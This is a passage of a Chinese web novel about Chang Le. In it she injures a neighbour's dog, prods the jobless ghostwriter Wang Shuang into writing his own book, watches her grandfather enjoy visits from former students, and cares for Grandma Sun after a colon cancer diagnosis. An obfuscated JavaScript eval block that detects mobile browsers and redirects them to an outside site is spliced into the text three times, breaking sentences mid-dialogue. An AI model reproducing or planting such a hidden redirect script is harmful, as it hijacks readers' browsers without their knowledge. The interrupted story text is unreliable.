常乐蹲下身,小心翼翼地伸出手,试图安抚狗子。手刚靠近它的脑袋,它扭头一咬,吓得常乐急忙缩回手。 林文娟赶紧挡在常乐前面,紧张地问:“这狗没有狂犬病吧?” “家养的狗,应该打了疫苗。” 不过,这狗平日里就神经兮兮的,跟犯了狂犬病没什么两样。 常乐观察着它的四肢,能直立,能弯曲,也没有血迹,看上去很正常。看它一直在对着自己的尾巴哀嚎,难道刚刚轧到了它的尾巴? 没过多久,易诚就行色匆匆地回来了,身后还跟着一个瘦长的人影。 王哥穿着松松垮垮的T恤和大裤衩,脚上趿着一双人字拖,披散着油腻的头发——这一身街边流浪汉的造型把林文娟吓了一跳。 王哥一个箭步冲上前,抱起嚎叫的比格,检查它的身体和四肢,又捏了捏它的尾巴。 比格叫得更惨烈了。 “估计是尾巴受伤了。”常乐主动承认错误,“对不起啊,我没注意到它在车底。赶紧送医院吧,咱们一起去,医药费我来出。” 王哥半眯着眼,眼底的黑眼圈像是烟熏妆,看样子又熬了个通宵。 他无奈地说:“找了它一晚上,没想到在这儿,真是要崩溃了。” 常乐同情地唏嘘一声,又想到林文娟,急忙转过头对她说:“妈,你先打车去学校吧,我送狗去医院。” “行。”林文娟从车里拿出自己的大书包,叮嘱常乐:“需要多少钱,跟我说一声。” 林文娟离开后,易诚开车带着王哥和常乐去了最近的宠物医院。 医生给比格做了个全身检查,确认它的尾巴中间被压断了,并给出两种治疗方案:“一是做手术,把尾巴截断,二是保守治疗,吃药观察,让伤口自然愈合。但是骨头错位后很难愈合,所以即使治好了,尾巴的后半截也会一直耷拉着。” 王哥问:“有什么影响吗?” 医生说:“没什么大问题,就是拉屎会沾到。” 王哥:“……” 三个臭皮匠讨论了一番,最后,王哥还是决定采取保守治疗。毕竟做手术需要全麻,老狗的年纪大了,经不起折腾。 确定好治疗方案后,王哥趴在前台填写登记表。常乐凑到他旁边,终于知道了他的大名:“原来你叫王爽啊,以后我就叫你爽哥吧,比什么王哥、鼠哥要好听多了。” 王哥面露窘色,支支吾吾道:“这、这不是我,是狗的名字。” 常乐又扫了一眼登记表,“所以你叫老狗?” 王哥更尴尬了,“我这……瞎写的,不是真名。” 收银小妹将信息录入系统,说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218092|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你好,总共两百八。” 王哥掏出手机准备扫码,常乐急忙拦住他,说:“我来我来,我撞的,应该我来赔。” 王哥伸手挡住收款二维码,说:“是我没看住老狗,让它到处乱跑,我作为主人难辞其咎。还是我来付吧。” 常乐拗不过他,只得收起手机,转身拿起货架上的一摞狗罐头和几只玩偶,说:“那我给它买点零食和玩具吧。” 王哥说:“别费心了,家里一筐玩具,它碰都不碰。零食就更别说了,它只爱吃屎。” “……”常乐只得放回原位,讪讪地说,“那你家狗子还挺好养活的。” 王哥举起手机,对准二维码,输入金额,刷脸付款。 显示余额不足。 “欸?”他眉头一皱,退出微信,点开了支付宝,重新扫码支付。 屏幕上再次弹出那一行字。 “等等啊。”王哥神色稍显尴尬,一连切换了几张银行卡,都显示余额不足。 “我来我来。”常乐察觉到他的窘迫,及时掏出手机,扫码支付成功。 在治疗期间,三个人并排坐在大厅的候诊椅上,王哥愁眉不展,连连叹气。 “这两个月没什么收入,也不想问我爸要钱,只能花之前的存款,没想到这么不经花。” 常乐好奇地问:“你不是在给一个工作室当写手吗?一个月也能赚个三、四千吧?” “别提了。”王哥又重重地叹了口气,“现在的工作室都开始用AI码字了,成本低,效率高,想写多少写多少。像我这种没有感情的码字机器,直接就被时代抛弃了。” 常乐唏嘘一声,正要安慰他几句,易诚忽然开口道:“你都不热爱自己从事的行业,被时代抛弃,也是迟早的事。” 王哥立马不乐意了:“谁说我不爱了?” 易诚说:“你自己说的啊,你是个没有感情的码字机器。我虽然没写过小说,但我读过一些书。我知道,真正好的作品,都承载了作者非常强烈的情感,这是AI永远无法替代的。”他揽住王哥的肩膀,拍了拍,“至于机械地码字,人工智能肯定比你厉害得多。” 王哥脸色讪讪的,扒开他的手,辩解道:“我给工作室写稿,只是在完成任务,又不是写我自己的作品,需要什么感情?” “王哥,”常乐忍不住插嘴,“这是个好机会啊。AI断了你的后路,你正好可以开始自己的创作。” 王哥手肘撑在膝盖上,双手捂住脸,“可是我、我……唉,你们想得太简单了。” “是你想太多了。”常乐说,“你连尝试的勇气都没有,又拿什么证明自己的热爱?” 王哥低头盯着自己的人字拖,喃喃地说:“道理我都懂,可是,这一行很难出头,大部分人都是炮灰。耗费了大把时间和精力,除了证明自己是个废物之外,一无所获。还不如一开始就躺平呢。” 这是什么窝囊废言论?常乐气得想揍他:“你试都没试,就觉得自己一定会失败?” 易诚也鼓励道:“对啊,试试吧。别想着一步登天,一鸣惊人,写点自己真正想写的东西,看看效果如何。一本不成,就再写一本,就算成不了大神,也能赚点小钱,这不比当枪手有意义得多?” “王爽!”常乐猛地拍了下王哥的后背,力道之大,差点把他干瘦的小身板拍散架。 她铿锵有力地说:“以自己的名义,光明正大地去写吧。只要开始写,就不会失败。你只会小成功、中成功和大成功。” 王哥一脸困惑地看着她:“你说的都是啥啊?” 常乐娓娓道来:“写完一本,算小成功;收获一批读者,算中成功;靠写作赚到钱,就算大成功。” 王哥哑然失笑:“你这标准也太低了。” “是你对自己的要求太高了。”常乐说,“一开始就把标准定得太高,你就不敢轻易尝试了。所以,不如按照我的标准来,只要往前走一小步,就是大大的成功。” 88. 88 从宠物医院出来后,老狗明显老实了不少,窝在王哥的怀里哼哼唧唧,尾巴包得像烤肠,无精打采地耷拉下来。 常乐心中有愧,提出要加王哥微信,方便沟通老狗的后续治疗情况。 易诚也要加入,于是,三人建了个“老狗救助群。” 没过多久,这个群就变成了“王哥催命群”。 常乐每天的问候比早八还准时: 【爽哥,今天开始写了吗?】 王哥装死。 中午十二点,常乐又来一条:【爽,你要行动起来啊!】 王哥把群设成免打扰模式。 晚上,常乐开始集中轰炸: 【太阳落山了,你该干活了。】 【我给你想了几个笔名,你选一个吧:黑发男妖、暗夜鬼影、发狂老狗、潜行的大老鼠。】 【爽哥,在吗?在吗?在吗?】 这时,易诚发了张游戏截图:【爽哥在王者峡谷呢。】 常乐怒气值拉满:【王爽,我知道你家在哪儿!别逼我杀到你家!今天不写满五千字不准睡觉!】 在两人的夺命催更下,王哥磨磨蹭蹭了好几天,终于甩来一条链接,是某个小说网站的页面。 点开一看,是一本都市灵异志怪小说,目前只更新了一万字。 常乐粗略浏览了一遍,虽然觉得写得一般,但还是倍感欣慰,鼓励道:【可以呀,到时候给我俩安排个角色。】 王哥:【行,还有两个恶鬼没取名字。】 常乐:【早说啊,我的黑名单绝对够用,前老板刘子明,前前老板孙宇顺,还有一个猥琐的男同事,大名我忘了,就叫他狗扯蛋吧。】 总之,在常乐和易诚的督促下,王哥终于迈出了第一步,并坚持日更五千字。一周后,这本书的收藏量已高达十三个。 某次,聊到王哥最近的变化,易诚颇有成就感:“这是不是就是传说中的养成系?” 常乐一脸嫌弃:“我养狗都不会养这么磕碜的。” “……”易诚试图替王哥挽尊,“别这么说,他长得还行,就是有点不修边幅,收拾一下就好了。” 当天晚上,王哥就被易诚连哄带骗地送进了理发店,把那一头油腻打结的头发给剃了。 王哥顶着小寸头出来,胡茬也剃得干干净净,总算有了点活人气息。 他摸着脑袋,怪不自在的:“感觉像没穿衣服。” “习惯了就好。”易诚又把他塞进车里,“再去买几件衣服,还有你这眼镜也该换了,镜片都包浆了。” 易诚将王哥打扮一新后,带到小区门口的烧烤摊,常乐已经点了一桌烤串和凉菜等候多时了。 “噫额!”常乐见到王哥,露出夸张的表情,连连称赞道:“不错不错,有点人样了。” 王哥局促地缩着脖子,端起杯子抿了一口饮料,小声嘟囔:“当老鼠久了,突然变回人,还真有点不习惯。” 他吃了几根肉串,又说:“不过,我也确实该振作起来了。我连载的那本小说你们都看了吧?已经有十几个收藏了。我也没想到会有这么多人看,原来我这么有天赋啊,早知道就该早点动笔了。” 常乐和易诚对视一眼,都抿笑不语。 这十几个收藏,还是他们到处找亲友借手机号注册的账号。 “不过,”王哥放下签子,有些困惑,“他们只收藏,不评论,挺奇怪的,不知道是不是机器人。” 常乐说:“这很正常啊,你这本书才刚开始连载,他们都想养肥了再看呗。” “对。”易诚举起饮料,“敬你的成神之路。” 常乐也举起杯子,附和道:“恭喜你洗心革面,重新做人。” 这话说的……王哥笑容一滞。 算了,她说的也没错,当人的感觉的确比当老鼠好多了。 三只杯子碰撞到一起,饮料飞溅到空中,畅快的笑声被夜风吹得很远。 -- 在常乐的悉心照料下,姥爷的身体也日渐康复。他终于能站起来了,还能拄着拐棍,颤颤巍巍地走两步。 常乐拍了一段视频,转发在家族群里。 林文娟立刻给她发来红包:【辛苦啦!】 常乐喜滋滋地收下红包,对姥爷说:“姥爷,发个抖音吧,你的粉丝都挺想你的。” “算了,有什么可发的。”姥爷恹恹地说,又坐回了轮椅上。 自从网红梦碎后,他就对社交丧失了兴趣,不管是网络上的还是现实中的。 常乐每天推他出门,他也会尽量避开棋友们的聚集地,专挑一些犄角旮旯的地方遛弯。 就连发抖音,也没有往日那么积极了。上一条,还是他在住院期间,发了一条报平安的视频,底下的评论很多,但他也懒得回复。 常乐还以为他被网暴了,试图开导他:“姥爷,咱们普通人玩抖音,就是发着玩的,别老想着一夜暴富或者当大网红,不现实。” “我没想赚钱或者出名,就是觉得……”姥爷盯着自己的双腿,叹了口气,“挺没意思的,大家都是来看你笑话的。” “谁说的?你的铁粉都很关心你啊。”常乐说,“而且,你自己开心就行了,管别人怎么说呢。” 姥爷撇撇嘴,没吭声,拿起遥控器打开电视,继续看他的抗战片。 转机发生在一个周末。这天上午,天气晴好,常乐正在阳台晒刚洗好的床单,外面走过一群中年人,嘀嘀咕咕,东张西望,不知在找寻什么。 其中一个胖墩墩的中年男人发现她,隔着窗户询问:“你好,请问这是林老师家吗?” 常乐升起晾衣架,问:“你们找哪个林老师?” 也不怪她有此疑问。姥爷和妈妈都姓林,而且这年头,见谁都叫老师。 “二中的林万全老师,他以前是我们的班主任。” “哦,你找我姥爷啊,他在家呢。”常乐伸手指向楼梯口,示意他们从那里进。 姥爷在书房,常乐拍门把他喊了出来。 几个中年人见到姥爷,满脸热切地迎上来,握着他的手,激动地说:“林老师,我们是95届的毕业生。前阵子我们组织了一场毕业三十年的同学会,有人说您生病了,所以我们几个人特意来探望您。您身体还好吧?” “哎,好好好。”姥爷笑容中有几分迷茫,打量着面前的一张张脸,“95届是吧?我记得你们的班长是个女生,叫杨、杨、杨惠文?” “哎,是我。”一个戴眼镜的短发女人应和道。 一行人在沙发上落座,常乐给他们倒了茶水,钻进书房,在书架上翻出以前的相册,其中有一本是姥爷带过的每届学生的毕业照。 她找到95届的那张大合影,递给姥爷,众人立马围了过来。带头的中年男人指着照片中的一张面孔,说:“这个是我。” 姥爷终于回忆起来:“哦,李林?我记得你以前挺瘦的啊,怎么现在……那时候,你还跟那个谁早恋来着,记得吗?” 李林脸色微变,尬笑两声:“都是误会,误会。” 姥爷已经陷入了回忆之中,完全没有留意到李林的脸色,自顾自地说:“我每学期都要揪出一两对早恋的学生,对你的印象是最深的,你写情书文笔一流啊,这心思要是能用在作文上……” 常乐在旁边偷偷戳他的腰窝。 “那个女生家长还找到年级主任,说要把你开除,我力排众议,才把你保住……哎唷,你老戳我干嘛?”姥爷终于忍不住了,扭头瞪着常乐。 常乐冲他使了个眼色,“说累了吧?要不我给你们切点西瓜?” 终于有人开口解围:“林老师,李林跟咱们班长是两口子,两人都结婚二十几年了。” “那时候不懂事,给您添了不少麻烦。”李林赔着笑,杨惠文也牵起唇角,笑容有几分勉强。 “噢……”姥爷恍然,拍了下自己的脑门,“哎哟,你看我这脑子,都老糊涂了……”他推了一把常乐,试图缓解尴尬,“不是要切西瓜吗?赶紧去啊,冰箱里还有葡萄,也给洗了。” 常乐赶紧离开,钻进了厨房。 杨惠文夸赞道:“有这么懂事的外孙女,林老师真是好福气啊。” 姥爷讪讪一笑。 有人打听道:“她现在是在读书还是工作了?” “她啊……”姥爷眨了眨眼,谎话张嘴就来,“之前一直在杭城工作,听说我生病了,特意回来照顾我。还考了个什么护工证,要不是她啊,我现在还得坐轮椅呢。” “哎呀,真孝顺。”众人啧啧称赞。 等常乐端着果盘出来时,众人看她的眼神都充满了慈爱。 有个栗色卷发的中年女人问她:“闺女,谈朋友了吗?我儿子跟你年龄差不多,在江城工作,事业单位,要不给你介绍介绍?” “我有个侄子也挺不错的。”杨惠文插嘴道,“就在本地工作,车房都有,我给你留个联系方式吧?” 常乐愣住了,转头看向姥爷,眼神充满疑惑。 什么情况?好好的师生叙旧大会,怎么又变成了相亲联谊? 幸好姥爷及时打圆场:“好几个男孩都在追她,都挺不错的,她还在考虑之中呢。” 常乐:“……” 啥时候的事?她怎么不知道? 几位大姨不仅没有退却,反而更积极了:“那正好,也考虑考虑我家侄子呗。”“我们单位有个小伙儿,名校毕业的,我觉得挺不错。”“我儿子……” 常乐:“……” 没想到啊,姥爷竟是饥饿营销的高手。 快到中午了,大家起身道别。常乐莫名其妙收获了五位青年才俊的微信,姥爷收获了一大袋水果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姥爷甩着恒温杯,在她们面前晃悠了几圈,又东拉西扯了半天,还是没有一个人对他手里的东西产生好奇。 姥爷悻悻地走了。 接着去了西边的凉亭,远远地看见几个大爷在里面下棋。姥爷眼睛一亮,撑着拐棍,几乎要跑起来。 常乐连忙追上去,叮嘱道:“慢点慢点,别摔着了。” “哟,老林!”王大爷见到姥爷,笑眯眯地打招呼,“都能自己走动了,恢复得不错嘛。” “还行吧。”姥爷故作矜持,走过去,将恒温杯放在他们的棋盘边。 终于有个大爷注意到他的杯子,打趣道:“这大热天的,出门还带个保温杯,老林真懂养生啊。” “呀,杯子啊?”王大爷低头瞥了一眼,“这么大个,我还以为你提了个收音机呢。” 姥爷一本正经地介绍道:“这是恒温杯,跟一般的保温杯可不一样。不仅能保温,还能速冻。冬天喝热水,夏天喝凉水,特别实用。” 王大爷漫不经心道:“多少钱?我也去买一个。” 等的就是这一刻。 姥爷挑挑眉,语气得意:“多少钱我也不清楚,反正是我的学生送的,说是他们公司最新研发的高科技产品,一般人还买不到呢。” “哟呵!”一位大爷终于注意到杯子上的字,眯着眼,逐字念道:“95届全体同学敬赠恩师……啧啧啧,95届,都毕业三十年了,还惦记着老师,真是难得啊。” 姥爷抿着唇,面上装得淡然,眼里的得意根本藏不住,颧骨都快飞上天了。 王大爷酸溜溜地说:“全体同学?这么多人就送了个保温杯?撑死了也就几百块,啧啧,真是有点磕碜。” 姥爷的颧骨瞬间下来了。 常乐不乐意了,反唇相讥道:“王大爷,所谓礼轻情意重,这是学生们的一片心意,怎么能用钱来衡量呢?你也是个老师,那些贵重的礼物,就算学生敢送,你敢收吗?教书育人,难道就图学生送礼?” “就是,就是。”姥爷像个捧哏给她助阵。 王大爷不吭声了,转过头继续下棋,还催促对面的棋友:“赶紧下啊,都等半天了。” 常乐不依不饶,弯下腰,凑到他脑袋边,问:“王大爷,您倒是说说,您的学生都给您送过什么大礼啊?” 王大爷像赶苍蝇一样摆摆手,试图把她赶走。 常乐又绕到他对面,弯下腰,伸长脖子,眼睛直勾勾地盯着他。 “哎呀呀,你这小姑娘,真是烦人!”王大爷被她盯得实在受不了,把手中的棋子一摔,站起身,气咻咻地走了。 姥爷如愿坐到了他的位置。 他环视棋盘一圈,笑呵呵地说:“老王水平不行啊,这么简单的局都要想半天。进车砍士,再高吊马,不就一招毙命了嘛。” 他拿起一枚棋子,“啪嗒”一声,稳稳地落在对方的棋子上。 棋盘旁边,那只恒温杯被震得轻轻一晃,上面的字也欢快地晃动起来。 89. 89 没过几天,家门口又出现了一批中年人。常乐看到他们提着各种水果和礼盒,立马明白过来,说了句“稍等”,便转身跑进了书房。 姥爷正拄着拐练习走路,听到这消息,第一时间不是想着换一身得体的衣服,而是在房间里四处打转,左翻右找:“哎,我轮椅呢?” “你不是会走了吗?”常乐不解地问。 姥爷很固执:“你别管,把我轮椅找出来。” ……真搞不懂这小老头想干嘛。 常乐一边吐槽,一边跑去他的卧室,从床底下拖出折叠轮椅,展开,潦草地擦了擦上面的灰,然后推进了书房。 不一会儿,姥爷坐在轮椅上,自己摇着轮毂,慢慢悠悠地出来了。 “哎唷,林老师,您慢点!”为首的中年男人赶紧迎了上来。 一群人围在姥爷身边,嘘寒问暖,长吁短叹,还有几个女同学低头抹起了眼泪。 这次来的是93届的学生,有几个人跟李林关系不错,从他那儿听说姥爷生病了,所以又组织了一批老同学前来探望。 师生相会,忆往昔,话今朝。常乐给他们准备好茶水和水果后,就识趣地躲进厨房里择菜。 即便这样,她还是能隐隐约约听到客厅里,姥爷的大嗓门在吹嘘:“我这个外孙女啊,又孝顺又能干,在杭城的时候,一边上班一边照顾我,还帮我打官司,要到了赔偿金。要不是她,我现在还瘫在病床上呢。” “啧啧啧……”一片赞叹声响起。 座谈会结束后,常乐又收获了一堆单身男青年的联系方式。 等人都走光了,她一边收拾茶几和沙发,一边吐槽:“姥爷,你就这么着急把我嫁出去啊?” 姥爷也很无语:“我夸你,是想让他们给你介绍个工作,明着说又不太好。谁知道,他们个个都想给你介绍对象……”他叹了口气,“这些学生的格局太小了。” 茶几上放着一本精美的相册,封面上写着“时光纪念册——93届全体同学敬赠恩师”。 常乐翻开一看,前面是三十多年前的黑白照片,有老师的,有学生的,有独照,有合影。后面是每位同学的近照,一张张饱经风霜的面孔,对比前面青涩的脸庞,让人不禁唏嘘,又有些动容。 常乐忍不住赞叹:“做得好用心啊,有些照片还是用AI修复过的呢。” “是啊,就是太重了……”姥爷抚摸着相册,语气惋惜。 常乐一眼看穿他的小心思:“不方便带出去是吧?” 姥爷纠结道:“带出去也行,就是显得太刻意了。” 常乐抿笑不语。 ……说得好像你之前显摆你的恒温杯就很自然随意不做作一样。 常乐将客人们带来的水果和保健品分门别类地放好,忽然有些感慨:老师和学生之间的关系,真是挺微妙的。 她抱着半边西瓜,坐到姥爷身边,边挖边说:“姥爷,我记得你说过,你当老师的时候,每次站上讲台,所有人的目光都集中在你身上。退休后,这种感觉突然消失了,你还挺失落的。你拍短视频,也是为了让更多的人看见自己,找回曾经的感觉,对不对?” 姥爷脸上肉眼可见地泛起了红晕。 他嘟囔道:“我那是说着玩的……都一把年纪了,还有什么可看的?” 常乐挖了一大勺西瓜,嘴里塞得满满的,声音含混地说:“不管是谁,什么年龄,什么身份,每个人都渴望被别人看见,这是很正常的。 “但是,看见只是瞬间,记住才是永恒。那么多年过去了,你的学生还记得你。而那些大网红,看似吸引了万千网友的目光,但根本没有走进他们的心里。” 常乐看着姥爷怀里的相册,继续说:“我觉得,被一万个网友看见,都比不上被一个学生记住。姥爷,你已经拥有了世上最珍贵的东西,就没必要再在社交平台上,寻找虚无缥缈的人生价值了。” 姥爷低头盯着相册,陷入了沉默。 良久,他嘟囔道:“叽里呱啦的说些什么呢?把刚刚拍的照片和视频发给我,赶紧的。” 之后一段时间,陆续又有学生来家里探望姥爷,有的成群结队,有的单独来访。 每次,姥爷都会扔掉拐棍,坐到轮椅上,变回大病未愈、生活不能自理的模样。 常乐每次看到都很无语。 早知道他这么享受坐在轮椅上被人簇拥的感觉,当初她就不该费力劳心,给他做什么康复训练、艾灸、按摩,还定期带他去医院做理疗。 不过,除了在学生面前卖惨,大部分时候,姥爷还是挺正常的,也更爱出门了。 对此,常乐和家人们都很欣慰。 每次有学生来访,姥爷都会不遗余力地推销常乐,顺便打听打听,谁家有亲戚生病住院需要请护工,谁家有老人瘫痪在床需要照顾,谁家在医院或者养老院有熟人可以引荐一下…… 谁都没想到,常乐的第一个客户,居然是孙婆婆。 得知孙婆婆住院后,常乐全家第一时间赶往医院,姥爷本来也要去,被林文娟劝住了:“爸,你腿脚不方便,还是待在家里吧,我们先去看看什么情况。” 姥爷一想,也是,病房里装不下这么多人。于是,他把他们送出门,还特意叮嘱姥姥:“见了老孙别乱说话。” “我又不傻。”姥姥瞪他一眼。 一行人匆匆赶到医院,在病房门外见到了翠姨。她手上拿着一沓检验报告,脸色苍白,脚步徘徊,似乎有些六神无主。 “吴翠。”林文娟大步走上前,透过病房门上的窗户,往里瞥了一眼,“孙姨在里面吗?怎么突然住院了?” 翠姨看到他们,微微一怔。 “你们来了?”她仿佛刚回过神来,“妈在里面躺着,刚睡着。” 姥姥急声问:“怎么回事啊?” 翠姨喃喃地说:“一开始就是有点腹泻,她也没当回事,以为是天太热,中暑了,后来大便里有血,我们才觉得不对劲,到医院检查,医生怀疑是……” 她把手中的报告单递给林文娟。 常乐赶急忙凑过来,看到报告单最底下的结论,一个词被圈了起来—— “结肠癌”。 常乐没听说过这种病,但她很清楚,只要跟“癌”沾边,就是天大的事。 林文娟冷静地问:“都做了哪些检查?” 翠姨拿起一张张单子,细数道:“大便潜血检查、腹部CT、结肠镜检查,还提取了肠道里面的息肉,去做了病理活检。” “活检结果什么时候出来?” “医生说,要一个星期。” 林文娟看着一张张检查单,眉头越蹙越紧。 常乐小声问:“活检是干嘛的啊?” 林文娟没有抬眼,简短地说:“就是判断这个肿瘤的性质以及分化程度。” 常乐听得一知半解,愣愣地问:“所以,现在已经确诊是结肠癌了?” 翠姨低头捂着脸,发出一声啜泣。 林文娟拍拍她的后背,安慰道:“不幸中的万幸,结肠癌比其他癌症发展得慢,及时发现,及时治疗,治愈率很高。” 翠姨哽咽道:“问题是,现在不知道发展到哪一步了。我都没敢告诉她,怕她多想。” 林文娟说:“你也不要太担心了,等活检结果出来吧。” “对啊。”姥姥也附和道,“我看老孙的身体一直挺好的,说话中气十足,手劲儿也大,不像是有什么大毛病。不就是肠子里长了个息肉嘛,切掉就好了。上了年纪的人,谁没点小毛病呢?” 安抚好翠姨的情绪后,她们轻手轻脚地走进病房。孙婆婆就躺在靠窗的病床上,一只手打着吊针,另一只手拿着手机刷抖音,床尾还挂着尿袋。 “妈,你醒了?”翠姨声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孙婆婆说:“那也不能让你免费干啊。这样吧,我给你按一天两百算——” “哎哟,老孙!”姥姥打断她的话,“都是自己人,谈钱多伤感情。再说了,进了医院,花钱的地方就多了,护工这笔钱能省则省呗。给你减轻了压力,我心里也好受点。” 她都这么说了,翠姨和孙婆婆也不好再反对。 双方就这样达成了口头协议,交接了常乐这个免费劳动力的使用权。 当天晚上,常乐将尿袋清空,并记下尿液容量,又端来一盆温水,给孙婆婆细细地擦拭着身体。 孙婆婆背对着常乐,后背上的皮肤堆起一层层褶皱。 她忽然开口:“乐乐啊,你跟我说实话,我是不是得癌了?是胃癌还是肠癌?” 常乐心中一惊,差点将放在地上的一盆水踢翻。 她蹲下身,清洗毛巾,语气故作轻松道:“医生都还没确诊呢,我怎么会知道呢?不就是便血嘛,估计就是长了个痔疮,切了就好了。什么癌不癌的,你别自己吓自己了。” 孙婆婆长叹一声,“要真是痔疮就好了。” “痔疮还好啊?”常乐给她穿上病号服,将她翻了个面,“我姥爷以前被一个学生气得痔疮都裂了,流了一屁股血,被紧急送到医院,可吓人了。” 孙婆婆躺在床上,笑得肚子一颠一颠的。 “我知道这事……”她笑得上气不接下气,常乐又将她翻到侧卧的姿势,在她背后垫了个枕头。 孙婆婆缓了缓呼吸,继续说:“那天,我在隔壁班上课,见到你姥爷被年级主任背走了,裤子后面全是血,我还以为他来月经了呢……就为这事,我笑话了他好多年。” 常乐一想到这画面,也笑得直不起腰。 孙婆婆渐渐止住笑,擦了擦眼角的泪花,释然地说:“不管什么病,都当痔疮来治吧。治好了就继续活着,治不好就死呗,反正,我家老头子和我儿子都在下面等着我呢。” 常乐笑容蓦地一滞,鼻头阵阵发酸,眼泪不受控制地涌上来。 孙婆婆平躺下来,给自己盖好被子,闭上眼,自语道:“人间也好,地府也罢,不管去哪儿,我都不孤单。” 90. 90 第二天中午,翠姨提着保温饭盒来到病房,身后还跟着周俊臻。 他提着行李,风尘仆仆,一看就是直接从车站过来的。 孙婆婆正靠在床头看电视,一见到周俊臻,脸上瞬间绽开了笑容,旋即又变得气恼,嚷嚷道:“你怎么回来了?” “奶奶,我请了几天假。”周俊臻走到病床边,放下手中的行李,又冲常乐点点头:“辛苦你了。” 常乐连忙起身,将椅子让给他坐。 孙婆婆又气又急,瞪了翠姨一眼,责备道:“哎呀,你跟孩子说干嘛?他工作那么忙,还要请假回来看我,有这个必要吗?” 翠姨解释道:“俊臻担心你嘛。昨天跟他说了这事,他急得都快哭了。幸好现在票好买,他买了最早的动车票,刚一下车,就直奔医院来看你了。” “我都说了,不是什么大病。”孙婆婆气得不停拍打被褥,“孩子上班本来就辛苦,还要为这种事请假,他们公司的假不是那么好请的。” 周俊臻安慰她:“放心吧奶奶,我们现在没以前那么忙了。” “啊?不会是要裁员了吧?”孙婆婆平时没少刷抖音,对现在的裁员潮也略有耳闻。 周俊臻脸色微变,下意识看向常乐。 常乐莫名紧张起来,紧抿着唇,冲他微微摇头。 “没有,您别瞎操心了。”周俊臻立刻明白过来,看向孙婆婆,重新露出笑脸,“我们公司的经济状况还算稳定,目前没有裁员的打算。” “那就好。”孙婆婆这才放心下来。 一家三代围坐在病床边,其乐融融地聊着天。常乐借口要去打开水,拿着开水壶,自觉地退出了病房。 在走廊上,她又差点撞上了提着两袋水果、行色匆匆的易诚。 易诚见到她,急忙刹住脚步,说:“我刚听说这事。孙婆婆怎么样了?” “肠子里长了个肿瘤,还在做检查,不知道是良性的还是恶性的。”常乐指着走廊尽头的病房,“她在里面,还不知道自己得了癌症,你别乱说话。” “嗯,我知道。” 常乐刚要走,又想到什么,连忙拉住易诚,叮嘱道:“对了,俊臻哥也回来了。他还没跟家里人说自己失业的事,所以你别说漏嘴了。” 易诚点点头,“放心吧。” -- 下午,孙婆婆又得去CT室做检查,翠姨去取药了,几个年轻人坐在门外的椅子上等候着。 易诚问周俊臻:“你这次回来,打算待多久?” “我想等到检查结果出来了再走,又怕在家里待久了,我妈和奶奶会怀疑。”周俊臻叹了口气,无奈地说,“到时候再说吧。” 三个人盯着CT室的隔离门,陷入了沉默。 许久,周俊臻才再次开口,声音沉闷:“其实,我挺羡慕你们俩的。” “我吗?” 常乐和易诚对视一眼,都露出疑惑的表情。 常乐笑了:“俊臻哥,从小到大,你都是我们崇拜的对象,我们羡慕你还来不及呢。” “对啊。”易诚说,“不就是暂时没工作嘛,继续找就是了。不能因为这一次打击,就彻底否定自己啊。” 周俊臻抹了抹脸,眉宇间蹙起一抹忧愁。 “不是的,我羡慕你们,是因为你们还有选择。就像你,”他转头看向常乐,“想走就走,想回就回。在外面工作不顺利,可以随时辞职,回家待业,不会被家人责备,自己也心安理得。” 常乐愣愣地问:“你这是在夸我吗?” 周俊臻一笑,“是啊,我说的都是真心话。” “还有你,”他又看向易诚,“我也很佩服你,当初能果断辞职,回家照顾你爸。可我呢,想在家多待几天,家人都不同意。” 易诚说:“你正好可以借这个机会,跟她们说你已经辞职了,回家照顾奶奶,不就顺理成章了嘛。” “别!”常乐忍不住插嘴,“还是不要现在说吧,毕竟孙婆婆还病着。她对你的工作还挺重视的,如果知道真相,肯定会深受打击。” 周俊臻收回视线,落在自己清瘦的手掌上,低低地说:“你看,我连向家人坦白的勇气都没有,更不用说抛弃一切,回家照顾她们了。” 易诚伸手揽住他的肩,安慰地拍了拍。 隔离门缓缓打开,孙婆婆坐在轮椅上,被医生推了出来。 他们连忙起身,这个话题也到此为止。 只待了三天,周俊臻就要回杭城了。易诚开车送他去高铁站。 路上,周俊臻望着窗外十几年不变的街景,心中充满了离别的惆怅。 他自语道:“从小到大都优秀的代价,就是离家乡越来越远。你想回来,它都容不下你。” 易诚淡淡一笑。 “那是因为家人对你寄予厚望,期盼着你飞得更高、飞得更远。不像我,平平凡凡,也没有什么远大理想,所以在哪儿生活都差不多。” 周俊臻说:“这么看来,还是你的幸福感更高。” 高铁站已经近在眼前了。 易诚缓缓靠边停下,打开双闪。周俊臻提着行李,推门下车。 易诚送他到入站口,说:“俊臻哥,你扪心自问,除了家人的期许,你自己难道不希望过上更好的生活吗?我觉得,大城市也许更适合你,它自由、包容、机会多,即使这一次跌倒了,你还有无数次机会可以再站起来。” 周俊臻扯起唇角,脸上浮起苦笑。 “可是我已经一无所有了。工作没了,房子卖了,房价跌得太狠,我的首付和这些年还的贷款都赔光了。现在只剩下一点积蓄,勉强够生活。” 易诚说:“你回想一下,你大学毕业、刚去杭城的时候,不也是一无所有吗?现在不过是回到了原点,你可以重头再来,也可以换个方向。毕竟,你现在有的是时间和精力。” “换方向?”周俊臻不禁失笑,“迟了点吧?” “你才多大?三十都不到,怎么就迟了?”易诚拍拍他的胳膊,给他加油打气,“有句话说得好,当人生跌入谷底,你不管往哪儿走,都是向上走。重点是,你得走起来,不能一直待在谷底,停滞不前。” -- 